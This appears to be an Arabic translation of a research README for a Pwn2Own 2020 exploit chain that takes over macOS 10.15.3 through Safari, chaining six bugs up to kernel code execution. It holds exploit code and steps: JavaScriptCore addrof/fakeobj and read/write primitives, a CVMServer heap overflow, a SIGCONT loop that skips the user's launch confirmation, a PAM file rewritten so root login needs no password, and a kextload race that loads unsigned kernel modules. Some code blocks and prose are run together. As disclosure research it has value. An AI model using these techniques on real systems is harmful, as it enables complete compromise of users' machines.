
اختراق نواة macOS عبر Safari من خلال ربط ست ثغرات أمنية
يحتوي هذا المستودع على تفاصيل الاستغلال والتقنية لـإرسالنا الفائز في Pwn2Own 2020 الذي يستهدف Apple Safari مع تصعيد صلاحيات النواة لنظام macOS 10.15.3. لمزيد من المعلومات، يمكنك أيضًا الاطلاع على شرائح Blackhat USA 2020 الخاصة بنا والفيديو. يتضمن هذا المستودع أيضًا الفيديو التجريبي الخاص بنا للاستغلال الناجح.
2. قم بالوصول إلى الموقع الإلكتروني باستخدام عنوان IP الخاص بخادم المهاجم عبر Safari:```
http://[attacker_ip]/exploit.html
csrutil status، والذي سيعرض disabled.من أجل راحتك، وفرنا حمولة مُجمَّعة، payload.js. ولكن، إذا أردت،
يمكنك بناؤها بنفسك. لاحظ أن هذا سيستغرق وقتًا طويلاً جدًا
لأننا سنبني WebKit كجزء من سلسلة استغلالنا. ومن الجدير بالذكر
أننا اختبرنا عملية البناء فقط على نظام Mac OS.```shell
$ python3 -m pip install --user lief $ make
التفاصيل التقنية
-----------------
لإنشاء هذا الاستغلال، قمنا بتسلسل الثغرات *الست* التالية.
### 1. تنفيذ التعليمات البرمجية عن بُعد في Safari عبر نمذجة غير صحيحة للتأثير الجانبي لمشغّل 'in' في مترجم DFG في JavaScriptCore
- تحليل السبب الجذري
في JavaScriptCore، عندما يتم الاستعلام عن خاصية مفهرسة باستخدام مشغّل 'in'، يفترض مترجم DFG أنها خالية من التأثيرات الجانبية ما لم يكن هناك كائن proxy في سلسلة النماذج الأولية يمكنه اعتراض هذه العملية. يضع JavaScriptCore علامة على الكائن الذي يمكنه اعتراض هذا الوصول إلى الخاصية المفهرسة باستخدام علم يُسمى 'MayHaveIndexedAccessors'. يتم وضع هذه العلامة بشكل صريح لكائن Proxy.```javascript
0 in [] // side-effect free
let arr = [];
arr.__proto__ = new Proxy({}, {});
0 in arr // can cause side-effect!
ومع ذلك، هناك كائن آخر يمكن أن يسبب تأثيرًا جانبيًا:
JSHTMLEmbedElement الذي يطبّق أسلوب getOwnPropertySlot() الخاص به. إحدى
الطرق لتحفيز استدعاءات JavaScript (أي التأثيرات الجانبية) باستخدام عامل التشغيل 'in' هي
استخدام عنصر <embed> مع مكوّن PDF الإضافي؛ فعند الاستعلام عن أي خاصية على
كائن DOM لعنصر embed / object، يحاول تحميل المكوّن الإضافي الخلفي و
يمكن استدعاء معالج حدث DOMSubtreeModified في حالة مكوّن PDF الإضافي لأنه
يستخدم أسلوب appendChild على عنصر body.
هذه هي تتبّع المكدس لاستدعاء التأثير الجانبي من getOwnPropertySlot().```txt Stack trace #1 0x1c1463dbb in WebKit::PDFPlugin::PDFPlugin(WebKit::WebFrame&) (.../WebKit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0x1463dbb) #2 0x1c144cac7 in WebKit::PDFPlugin::create(WebKit::WebFrame&) (.../WebKit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0x144cac7) #3 0x1c1b65d48 in WebKit::WebPage::createPlugin(WebKit::WebFrame*, WebCore::HTMLPlugInElement*, WebKit::Plugin::Parameters const&, WTF::String&) (.../WebKit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0x1b65d48) #4 0x1c18cddc4 in WebKit::WebFrameLoaderClient::createPlugin(WebCore::IntSize const&, WebCore::HTMLPlugInElement&, WTF::URL const&, WTF::Vector<WTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc> const&, WTF::Vector<WTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc> const&, WTF::String const&, bool) (.../WebKit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0x18cddc4) #5 0x1cfb3f224 in WebCore::SubframeLoader::loadPlugin(WebCore::HTMLPlugInImageElement&, WTF::URL const&, WTF::String const&, WTF::Vector<WTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc> const&, WTF::Vector<WTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc> const&, bool) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3d01224) #6 0x1cfb3f62c in WebCore::SubframeLoader::requestObject(WebCore::HTMLPlugInImageElement&, WTF::String const&, WTF::AtomString const&, WTF::String const&, WTF::Vector<WTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc> const&, WTF::Vector<WTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc> const&) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3d0162c) #7 0x1cf424c85 in WebCore::HTMLPlugInImageElement::requestObject(WTF::String const&, WTF::String const&, WTF::Vector<WTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc> const&, WTF::Vector<WTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc> const&) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x35e6c85) #8 0x1cf300912 in WebCore::HTMLEmbedElement::updateWidget(WebCore::CreatePlugins) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x34c2912) #9 0x1cfd0a57e in WebCore::FrameView::updateEmbeddedObject(WebCore::RenderEmbeddedObject&) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3ecc57e) #10 0x1cfd0a807 in WebCore::FrameView::updateEmbeddedObjects() (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3ecc807) #11 0x1cfcf19c7 in WebCore::FrameView::updateEmbeddedObjectsTimerFired() (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3eb39c7) #12 0x1cedbd595 in WebCore::Document::updateLayoutIgnorePendingStylesheets(WebCore::Document::RunPostLayoutTasks) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2f7f595) #13 0x1cf41b681 in WebCore::HTMLPlugInElement::renderWidgetLoadingPlugin() const (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x35dd681) #14 0x1cf2ffc2d in WebCore::HTMLEmbedElement::renderWidgetLoadingPlugin() const (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x34c1c2d) #15 0x1cf41ad77 in WebCore::HTMLPlugInElement::pluginWidget(WebCore::HTMLPlugInElement::PluginLoadingPolicy) const (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x35dcd77) #16 0x1ce7b3e26 in WebCore::pluginScriptObjectFromPluginViewBase(WebCore::HTMLPlugInElement&, JSC::JSGlobalObject*) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2975e26) #17 0x1ce7b3dca in WebCore::pluginScriptObject(JSC::JSGlobalObject*, WebCore::JSHTMLElement*) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2975dca) #18 0x1ce7b4023 in WebCore::pluginElementCustomGetOwnPropertySlot(WebCore::JSHTMLElement*, JSC::JSGlobalObject*, JSC::PropertyName, JSC::PropertySlot&) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2976023) #19 0x1cca3e913 in WebCore::JSHTMLEmbedElement::getOwnPropertySlot(JSC::JSObject*, JSC::JSGlobalObject*, JSC::PropertyName, JSC::PropertySlot&) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xc00913) #20 0x1e946dd6c in llint_slow_path_get_by_id (.../WebKit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x232ad6c)
بما أن أي كائنات في سلسلة النماذج الأولية غير مُعلَّمة بـ
"MayHaveIndexedAccessors"، يفترض JIT أن استخدام عامل التشغيل 'in' هذا لا
يحتوي على أي انتقالات في الداخل مما يلغي فحوصات نوع المصفوفة بعد
الانتقال.```javascript
// In the frame of
function opt(arr) {
arr[0] = 1.1;
100 in arr; // 100 not exists in arr, making it check __proto__
return arr[0]
}
for(var i = 0; i < 10000; i++) opt([1.1])
arr.__proto__ = document.querySelector('embed')
document.body.addEventListener('DOMSubtreeModified', () => {
arr[0] = {}
})
document.body.removeChild(embed)
opt([1.1]) // leaks address of {} as double value
من خلال بناء بدائية addrof/fakeobj من هذا، يمكننا إنشاء بدائية قراءة/كتابة عشوائية للحصول على تنفيذ كود باستخدام دالة جافاسكريبت المُجمَّعة عبر JIT.
بعد الحصول على بدائيات addrof/fakeobj، نقوم بتحويلها إلى بدائيات addrof/fakeobj أكثر استقرارًا عن طريق تزييف كائن.```javascript hostObj = { // hostObj.structureId // hostObj.butterfly _: 1.1, // dummy length: (new Int64('0x4141414141414141')).asDouble(), // -> fakeHostObj = fakeObj(addressOf(hostObj) + 0x20) id: (new Int64('0x0108191700000000')).asJSValue(), butterfly: null, o: {}, executable:{ a:1, b:2, c:3, d:4, e:5, f:6, g:7, h:8, i:9, // Padding (offset: 0x58) unlinkedExecutable:{ isBuiltinFunction: 1 << 31, a:0, b:0, c:0, d:0, e:0, f:0, // Padding (offset: 0x48) identifier: null } }, // -> fakeIdentifier = fakeObj(addressOf(hostObj) + 0x40) strlen_or_id: (new Int64('0x10')).asDouble(), // String.size target: hostObj // String.data_ptr }
hostObj.executable.unlinkedExecutable.identifier = fakeIdentifier Function.prototype.toString(fakeHostObj) // function leaked-structure-id { [native code] }
نقوم بتسريب معرّف البنية (structure id) للكائن hostObj عن طريق إنشاء كائن دالة مزيف
fakeHostObj واستدعاء Function.prototype.toString عليه. يعكس اسم الدالة قيمة
معرّف البنية كسلسلة UTF-16. نقوم بتحديث hostObj بعد تسريب معرّف البنية.
ومن الجدير بالذكر أن هذه التقنية مأخوذة من [محاضرة Yong Wang في Blackhat
EU 2019](https://www.blackhat.com/eu-19/briefings/schedule/#thinking-outside-the-jit-compiler-understanding-and-bypassing-structureid-randomization-with-generic-and-old-school-methods-17513).```javascript
hostObj = {
// hostObj.structureId
// hostObj.butterfly
_: 1.1, // dummy
length: (new Int64('0x4141414141414141')).asDouble(),
// -> fakeHostObj = fakeObj(addressOf(hostObj) + 0x20)
id: leakStructureId.asDouble(), // fakeHostObj.structureId
butterfly: fakeHostObj, // fakeHostObj.butterfly
o: {},
...
}
الآن لدينا butterfly الخاص بـ fakeHostObj يشير إلى fakeHostObj نفسه. يمكننا استخدام بدائية addrof/fakeobj دون إعادة تشغيل الثغرة مرة أخرى لأننا نستطيع الوصول إلى hostObj.o كـ JSValue أو كـ double باستخدام fakeHostObj[2].
باستخدام معرف البنية المسرَّب الخاص بـ attackObj وبدائية addrof/fakeobj، يمكننا صياغة كائنات مثل ما يلي.```javascript rwObj = { // rwObj.structureId // rwObj.butterfly _: 1.1, // dummy length: (new Int64('0x4141414141414141')).asDouble(), // fakeRwObj = fakeObj(addressOf(rwObj) + 0x20) id: leakStructureId.asDouble(), // fakeRwObj.structureId butterfly: fakeRwObj, // fakeRwObj.butterfly
__: 1.1, // dummy
innerLength: (new Int64('0x4141414141414141')).asDouble(),
// fakeInnerObj = fakeObj(addressOf(rwObj) + 0x40)
innerId: leakStructureId.asDouble(), // fakeInnerObj.structureId
innerButterfly: fakeInnerObj, // fakeInnerObj.butterfly
}
يمكننا الحصول على بدائية قراءة/كتابة عشوائية (arbitrary RW primitive) باستخدام fakeRwObj لتحديث مؤشر الفراشة (butterfly pointer) الخاص بـ fakeInnerObj والقراءة/الكتابة من/إلى fakeInnerObj. للحصول على تنفيذ تعليمات برمجية عن بُعد (RCE) من بدائية القراءة/الكتابة العشوائية، نقوم بتشغيل ترجمة JIT للدالة dummy، ثم نسرّب عنوان الكود، ونستبدله بـ shellcode الخاص بنا. في بعض الأحيان، يفشل تسريب عنوان الكود لأننا لا نستطيع قراءة/كتابة قيم معينة من المصفوفة الوهمية لدينا. في هذه الحالة، نحاول تقريبه عن طريق القراءة من موقع المؤشر + 1 وإزاحة القيمة المقروءة. أخيرًا، نستبدل مؤشر الكود الخاص بدالة alert بمؤشر كود الدالة dummy ونستدعيها (مع بعض الوسائط) لتنفيذ الـ shellcode.
### 2. إطلاق تعسفي لتطبيق .app في Safari عبر رابط رمزي في didFailProvisionalLoad()
بالنسبة لرابط file://، يفتح Safari نافذة Finder عبر [NSWorkspace selectFile:inFileViewerRootedAtPath:].
تقبل هذه الدالة معاملين، وفي معظم الحالات، يستخدم Safari المعامل الأول فقط، الذي يعرض المجلد الحاوي للملف المحدد. لكن إذا تم استخدام المعامل الثاني بدلاً من ذلك، يقوم Finder بتشغيل الملف إذا كان قابلاً للتنفيذ أو حزمة تطبيق (app bundle).
يستخدم Safari المعامل الثاني بعد التأكد من أن المسار المُشار إليه ليس حزمة تطبيق --- أي دليلًا بامتداد .app. وبما أن الرابط الرمزي يمكن أن يشير إلى حزمة التطبيق، لكنه ليس دليلًا بامتداد .app. وبالتالي، سيشغّل Safari التطبيق الذي يشير إليه الرابط الرمزي. يمكن تشغيل هذا المسار البرمجي عن طريق إرسال رسالة IPC الخاصة بـ didFailProvisionalLoad().
ومع ذلك، لا يمكن لـ Safari نفسه إنشاء رابط رمزي بسبب مرشح استدعاءات النظام في صندوق الحماية Seatbelt. لذلك نستخدم ثغرة أخرى تمنح صلاحيات root، لكن تنفيذ كود داخل الصندوق (sandboxed code execution).
### 3. تنفيذ تعسفي للكود في خدمة CVM (Core Virtual Machine) عبر تجاوز سعة الكومة (heap overflow)
توجد خدمة XPC معزولة باسم com.apple.cvmsServ (أي CVMServer)، والتي تقوم بتجميع الـ shader لعدة بنى معمارية. وهي جزء من إطار عمل OpenGL المدمج.
بالنسبة للطلبات التي يحتوي حقل "message" فيها على القيمة 4، يقوم CVMServer بتحليل "framework data" و "maps" المحددة من قبل المستخدم. يقع ملف بيانات "maps" في "/System/Library/Caches/com.apple.CVMS/%s.%s.%u.maps" - أول %s يحدده المستخدم دون أي فلاتر. لذا فإن اجتياز الدليل (directory traversal) ممكن؛ يمكننا جعله يحلل الملف الذي تم إنشاؤه داخل صندوق حماية Safari.```c
FILE *fp = fopen(&framework_name_, "r");
...
Header *header = malloc(0x50);
fread(header, 0x50, 1, v132);
...
items_offset = header->items_offset;
items_count = header->items_count;
header = realloc(header, 56 * items_count + items_offset);
fread(&header->char50, items_offset + 56 * items_count - 0x50, 1, v132);
إذا كانت item_count * 56 + items_offset <= 0x50، فستستقبل fread() طولًا بقيمة underflow قريبة من 2^64، وبالتالي يتحول إلى تجاوز في الكومة (heap overflow) بحمولة ذات طول تعسفي. لاحظ أن fread() تتوقف عند بلوغ نهاية الملف المحدد.
من خلال استغلال هذا، يمكننا الكتابة فوق كائن الكومة المرتبط بالاتصال، مما قد يتيح تعديل المؤشرات المذكورة أدناه:```c case 7: // "message" == 7 v34 = xpc_dictionary_get_uint64(input, "heap_index"); v11 = cvmsServerServiceGetMemory(a1a->session, v34, &port, &size); if ( v11 ) goto error; xpc_dictionary_set_mach_send(reply, "vm_port", port);
__int64 __fastcall cvmsServerServiceGetMemory(xpc_session *a1, unsigned __int64 index, _DWORD *port, _QWORD *a4) { Pool *pool; // rax unsigned int v7; // ebx heapitem *v8; // rax
pthread_mutex_lock((&server_globals + 2)); // a1->attachedService is controlled value pool = a1->attachedService->context->pool_ptr; v7 = 521; if ( pool->pointersCount > index ) { v8 = pool->pointers; *port = v8[index].port; *a4 = v8[index].size; v7 = 0; } pthread_mutex_unlock((&server_globals + 2)); return v7; }
إذا كانت قيمة "port" هي 0x103 (TASK-SELF)، فستمنح الخدمة للعميل حق
الإرسال لمنفذ مهمة CVMServer، والذي يمكن استخدامه لتخصيص الذاكرة، و
تنفيذ كود تعسفي على العملية. لجعل v8[index].port == 0x103، قمنا
بالبحث في الذاكرة في منطقة المكتبات، التي لها نفس العناوين عبر
العمليات.```txt
rax := UserInput
[rax+0x38] = X
[X+0x30] = Length (UINT64_MAX)
[X+0x28] = Y (0)
[Y+0x18*index+0x10] = 0x103 (== mach_task_self_)
كانت هناك مناطق عديدة تحتوي على قيمتين صحيحتين 64-بت 0 و -1، وبالنسبة إلى rax+0x38 و X+0x30، وجدنا أن _xpc_error_termination_imminent، وهو رمز عام، يحقق هذا الشرط. وبما أن الطول أكبر من 2^64 / 0x10، تمكنا من حساب المعكوس النمطي للإشارة إلى Y(==0)*0x18+index+0x10 == &0x103.
وبما أن CVMServer كان لديه com.apple.security.cs.allow-jit مضبوطًا، تمكنا من استدعاء mmap مع علم MAP_JIT وتشغيل المحمّل الانعكاسي الخاص بنا لتنفيذ ملفات dylib على العملية. قمنا بتشغيل هذا الكود على CVMServer:```c
// In /var/db/CVMS (writable folder)
char randbuf[0x1000]; sprintf(randbuf, "%lu.app", clock()); symlink(randbuf, "my.app");
// Create a valid application at my.app
بعد إنشاء %lu.app والرابط الرمزي my.app، عدنا إلى Safari وأرسلنا رسالة IPC لفتح التطبيق. ولكن كانت هناك حمايتان إضافيتان: فحص العزل (quarantine) وفحص فتح التطبيق لأول مرة.
### 4. تجاوز حماية macOS لتشغيل التطبيق لأول مرة
إذا حاول Safari تشغيل تطبيق لأول مرة، فإنه يرفض تنفيذه إذا كان الملف يحمل سمة تسمى com.apple.quarantine، أو ينتظر تأكيد المستخدم. جميع الملفات التي ينشئها WebProcess تحمل السمة --- com.apple.quarantine، لكن يمكننا بالفعل تجاوز هذا لأننا أنشأنا المجلد في عملية CVMServer وليس في WebProcess. من أجل تأكيد المستخدم، يقوم macOS أولاً بإنشاء العملية وتعليقها، ثم يستأنف العملية بعد أن ينقر المستخدم على زر `Open`. لكن إرسال إشارة SIGCONT عمل بنفس طريقة النقر على الزر.
وهكذا، قمنا بتشغيل هذا الكود بشكل مستمر في CVMServer بعد إنشاء my.app:```c
for(int i = 0; i < 65536; i++)
kill(i, SIGCONT);
cfprefsd هو خدمة XPC أخرى تسمح للمستخدم بإنشاء ملف plist. وهي تقع في CoreFoundation ويمكن الوصول إليها من معظم العمليات غير المعزولة (unsandboxed). وبما أننا حصلنا بالفعل على صلاحية غير معزولة لمستخدم عادي (أي CVMServer)، يمكننا أن نطلب منها إنشاء ملف plist إذا كان المجلد والملف الهدف يملكان بتات صلاحيات كافية تسمح لمستخدم العميل بالكتابة إلى الملف. ومع ذلك، إذا لم يكن المجلد موجودًا، فإنها تنشئ مجلد ملف plist بشكل متكرر (recursively).
فيما يلي مقتطف كود من CVMServer يقوم بإنشاء المجلد.```c _CFPrefsCreatePreferencesDirectory(path) { for(slice in path.split("/")) { cur += slice if(!mkdir(cur, 0777) || errno in (EEXIST, EISDIR)) { chmod(cur, perm) chown(cur, client_id, client_group) } else break } }
ولكن إذا كان المسار يشير إلى دليل قابل للكتابة من قبل المستخدم، يمكن للمستخدم استبدال الدليل المشار إليه بواسطة `cur`، واستبداله برابط رمزي إلى ملف/مجلد عشوائي. وبما أن cfprefsd يتمتع بصلاحيات الجذر، فمن الممكن تغيير مالك المجلدات مثل /etc/pam.d. ومن خلال تغيير مالك /etc/pam.d، يمكننا كتابة /etc/pam.d/login بالمحتوى التالي:```txt
auth optional pam_permit.so
auth optional pam_permit.so
auth optional pam_permit.so
auth required pam_permit.so
account required pam_permit.so
account required pam_permit.so
password required pam_permit.so
session required pam_permit.so
session required pam_permit.so
session optional pam_permit.so
بعدها سيمنح أمر login root المستخدم root shell دون أي
مصادقة.
kextload هو أحد البرامج التي يمكنها تنفيذ عمليات kext (Kernel Extension)
في macOS. من خلال تشغيل kextload [path of .kext folder]، يمكن لمستخدم root تحميل
kext موقّع من وضع المستخدم. لمنع kexts غير الموقّعة أو الموقّعة بشكل غير صالح،
يضع kextload callback 'authenticator' في حزمة IOKitUser. لسوء الحظ،
مسار الـ kext هو المورد الوحيد المتاح للـ callback، وحالة
السباق يصعب منعها. للتخفيف من ذلك، ينسخ kextload أولاً مجلد الـ kext
إلى المساحة المخصصة -- /Library/StagedExtensions --- والتي لا يمكن
تعديلها حتى بصلاحيات root بفضل SIP وآلية
الامتيازات.
يعمل kextload كما يلي. إذا قمنا بتنفيذ kextload /tmp/A.kext، فإن kextload
ينسخ مجلد الـ kext الأصلي إلى /Library/StagedExtensions/tmp/[UUID].kext.
بعد ذلك، يتحقق kextload من تواقيع جميع الملفات في المجلد. إذا فشل ذلك، فإنه
يحذف المجلد. بخلاف ذلك، ينسخ المجلد إلى
/Library/StagedExtensions/tmp/A.kext ويحمّل هذه الوحدة.```txt
$ kextload /tmp/A.kext
-> copy to /Library/StagedExtensions/tmp/[UUID].kext
-> validate signatures. if failed, delete the directory
-> if succeeded, copy to /Library/StagedExtensions/tmp/A.kext
-> load the kext
إحدى المشكلات في kextload هي أن هذه العملية يمكن إنهاؤها بواسطة مستخدم يتمتع بصلاحيات الجذر. ومن الجدير بالذكر أن النسخة المذكورة أعلاه تتضمن رابطًا رمزيًا، سيتم التحقق منه لاحقًا. ومع ذلك، إذا قمنا بقتل عملية kextload قبل التحقق، يمكننا الحفاظ على kext غير صالح يحتوي على رابط رمزي في /Library/StagedExtensions.```txt
# assume /tmp/A.kext/symlink -> /tmp/
$ kextload /tmp/A.kext
-> copy to /Library/StagedExtensions/tmp/[UUID].kext
-> kill this process
-> then, /Library/StagedExtensions/tmp/[UUID].kext/symlink will be remained
بعد ذلك، إذا قمنا بتنفيذ أمر kextload آخر مع
kextload /tmp/[UUID].kext/symlink/B.kext، سيتم نسخ B.kext إلى الموقع القابل للكتابة
لمستخدم بصلاحيات الجذر (على سبيل المثال، /tmp/[UUID'].kext)```
$ kextload /tmp/[UUID].kext/symlink/B.kext
-> copy to /Library/StagedExtensions/tmp/[UUID].kext/symlink/[UUID'].kext
-> since symlink -> /tmp, this is equal to /tmp/[UUID'].kext.
بعد النسخ، يتحقق kextload مما إذا كان موجودًا في موقع آمن، وهو `/Library/StagedExtensions/*`. يمكننا وضع الرابط الرمزي مؤقتًا في /tmp/A.kext للإشارة إلى /Library/StagedExtensions/[مسار kext صالح]. بعد التحقق، يمكننا استبدال ملف الوحدة النمطية الثنائي بوحدة نواة غير موقّعة للحصول على تنفيذ كود في النواة.
لجعل السباق موثوقًا، استخدمنا sandbox-exec لإيقاف البرنامج عند الوصول إلى الملف باللاحقة المحددة.
المؤلفون
-------
- Yonghwi Jin ([email protected])
- Jungwon Lim ([email protected])
- Insu Yun ([email protected])
- Taesoo Kim ([email protected])
الاستشهاد
--------```txt
@inproceedings{jin:pwn2own2020-safari,
title = {{Compromising the macOS kernel through Safari by chaining six vulnerabilities}},
author = {Yonghwi Jin and Jungwon Lim and Insu Yun and Taesoo Kim},
booktitle = {Black Hat USA Briefings (Black Hat USA)},
month = aug,
year = 2020,
address = {Las Vegas, NV},
}